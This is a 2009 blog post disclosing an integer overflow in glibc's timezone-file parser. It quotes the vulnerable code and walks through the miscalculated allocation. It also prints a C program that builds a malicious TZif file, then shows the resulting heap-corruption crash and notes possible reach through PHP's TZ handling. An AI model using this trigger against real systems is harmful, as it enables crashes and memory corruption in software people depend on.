jump to navigation

glibc timezone integer overflow 2009/06/01

Posted by dividead in Security.
Tags: , , , , ,
1 comment so far

Years ago I found a cute integer overflow in the timezone handling in glibc, but back then I put it on my list of ‘bugs to check out in the future if I have more time’. Of course I never found this time (the density of my blog updates gives a nice impression of my spare time), but was surprised that the problem still exists in recent versions of glibc.

I present it here, as I do not feel like contacting glibc upstream about this issue knowing the maintainer is even more friendly, cooperative, and socially well-adapted than a certain OpenBSD maintainer. http://blog.aurel32.net/?p=47 illustrates this nicely.

Before wasting time of my readers, I want to point out that the impact of this bug is not extensive, and I’d be surprised if someone would manage to make a decent exploit out of this.

The problem is in the __tzfile_read function present in glibc, and a paste of the source code follows. I took the liberty of cutting the irrelevant parts out, to not bother the reader with details.

__tzfile_read (const char *file, size_t extra, char **extrap)
  if (file == NULL)
    /* No user specification; use the site-wide default.  */
    file = TZDEFAULT;
  else if (*file == '')
    /* User specified the empty string; use UTC with no leap seconds.  */
    goto ret_free_transitions;
      /* We must not allow to read an arbitrary file in a setuid
         program.  So we fail for any file which is not in the
         directory hierachy starting at TZDIR
         and which is not the system wide default TZDEFAULT.  */
      if (__libc_enable_secure
          && ((*file == '/'
               && memcmp (file, TZDEFAULT, sizeof TZDEFAULT)
               && memcmp (file, default_tzdir, sizeof (default_tzdir) - 1))
              || strstr (file, "../") != NULL))
        /* This test is certainly a bit too restrictive but it should
           catch all critical cases.  */
        goto ret_free_transitions;
  num_transitions = (size_t) decode (tzhead.tzh_timecnt);
  num_types = (size_t) decode (tzhead.tzh_typecnt);
  chars = (size_t) decode (tzhead.tzh_charcnt);
  num_leaps = (size_t) decode (tzhead.tzh_leapcnt);
  num_isstd = (size_t) decode (tzhead.tzh_ttisstdcnt);
  num_isgmt = (size_t) decode (tzhead.tzh_ttisgmtcnt);
  total_size = num_transitions * (sizeof (time_t) + 1);
  total_size = ((total_size + __alignof__ (struct ttinfo) - 1)
                & ~(__alignof__ (struct ttinfo) - 1));
  types_idx = total_size;
  total_size += num_types * sizeof (struct ttinfo) + chars;
  total_size = ((total_size + __alignof__ (struct leap) - 1)
                & ~(__alignof__ (struct leap) - 1));
  leaps_idx = total_size;
  total_size += num_leaps * sizeof (struct leap);
  tzspec_len = (sizeof (time_t) == 8 && trans_width == 8
                ? st.st_size - (ftello (f)
                                + num_transitions * (8 + 1)
                                + num_types * 6
                                + chars
                                + num_leaps * 8
                                + num_isstd
                                + num_isgmt) - 1 : 0);

  /* Allocate enough memory including the extra block requested by the
     caller.  */
  transitions = (time_t *) malloc (total_size + tzspec_len + extra);
  if (transitions == NULL)
    goto lose;
      if (__builtin_expect (fread_unlocked (transitions, trans_width + 1,
                                            num_transitions, f)
                            != num_transitions, 0))
        goto lose;

The first thing I want to point out is the limited scope of this issue. The checks starting on line 17 limit the use of the TZ environment variable (the file parameter to __tzfile_read is derived from the TZ environment variable in other places in the source code), protecting against using arbitrary timezone files in SUID and SGID files. A funny detail is the check on line 21, which does not account for TZ ending with a double-dot, so we’re able to have __tzfile_read open the directory above the default timezone database directory. For the rest something will likely return EISDIR doing this, so it is useless.

Another thing to note is that TZDIR is a variable mentioned in sysdeps/generic/unsecvars.h so we will not be able to use this in SUID or SGID files either. This means that we will not be able to exploit this problem in an easy local situation.

Before continuing, lets look at the bug closely first. In lines 27 through 32 __tzfile_read parses some parameters from a timezone file, and lines 34 through 50 perform some calculations based on them. On line 54 malloc() gets called with parameters which we control, and can easily get to evaluate to 0 or something similar. Finally on line 58 we read the timezone data in this allocated buffer using a variable evaluated in a different way, leading to a perfectly controllable heap overflow.

Code to generate such a trigger follows:

#include <stdio.h>
#include <stdint.h>
#include <time.h>
#include <string.h>

#define TZ_MAGIC        "TZif"

#define PUT_32BIT_MSB(cp, value)                                        \
        do {                                                            \
                (cp)[0] = (value) >> 24;                                \
                (cp)[1] = (value) >> 16;                                \
                (cp)[2] = (value) >> 8;                                 \
                (cp)[3] = (value);                                      \
        } while (0)

struct tzhead {
        char    tzh_magic[4];
        char    tzh_version[1];
        char    tzh_reserved[15];
        char    tzh_ttisgmtcnt[4];
        char    tzh_ttisstdcnt[4];
        char    tzh_leapcnt[4];
        char    tzh_timecnt[4];
        char    tzh_typecnt[4];
        char    tzh_charcnt[4];

struct ttinfo
    long int offset;
    unsigned char isdst;
    unsigned char idx;
    unsigned char isstd;
    unsigned char isgmt;

int main(void)
        struct tzhead evil;
        int i;
        char *p;
        uint32_t total_size;
        uint32_t evil1, evil2;

        /* Initialize static part of the header */
        memcpy(evil.tzh_magic, TZ_MAGIC, sizeof(TZ_MAGIC) - 1);
        evil.tzh_version[0] = 0;
        memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved));
        memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt));
        memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt));
        memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt));
        memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt));

        /* Initialize nasty part of the header */
        evil1 = 500;
        PUT_32BIT_MSB(evil.tzh_timecnt, evil1);

        total_size = evil1 * (sizeof(time_t) + 1);
        total_size = ((total_size + __alignof__ (struct ttinfo) - 1)
                & ~(__alignof__ (struct ttinfo) - 1));

        /* value of chars, to get a malloc(0) */
        evil2 = 0 - total_size;
        PUT_32BIT_MSB(evil.tzh_charcnt, evil2);

        p = (char *)&evil;
        for (i = 0; i < sizeof(evil); i++)
                printf("%c", p&#91;i&#93;);

        /* data we overflow with */
        for (i = 0; i < 50000; i++)

__tzfile_read can be reached through many functions, such as tzset() and localtime() so as an example from a non-s&#91;ug&#93;id file we can use the following:

&#91;sourcecode language='c'&#93;
#include <time.h>

        time_t t = time(NULL);

[dividead test]$ ./mkevil > evil ; TZ=`pwd`/evil ./a.out
*** glibc detected *** ./a.out: free(): invalid next size (fast): 0x000000000192a270 ***

Now that we know for sure this bug is exploitable, we need to determine the cases where this can actually happen. Due to the security checking glibc does the scope is very limited, and we need to have a program which allows us to control either the TZ or the TZDIR environment variables somehow.

A possible example is the old style method to set timezones in PHP assuming it is not running in safe-mode. This was accomplished through putenv(“TZ=/foo/bar/evil”); and funnily PHP will immediatly call tzset() whenever it encounters a putenv() on TZ. This indeed results in PHP crashes, but of course one needs to be able to upload files in the first place, have PHP perform a putenv on data (either completely, in which case we have many more security issues, or on the value part to TZ or TZDIR) we control, and have PHP not running in safe mode.

Maybe more interesting options are possible.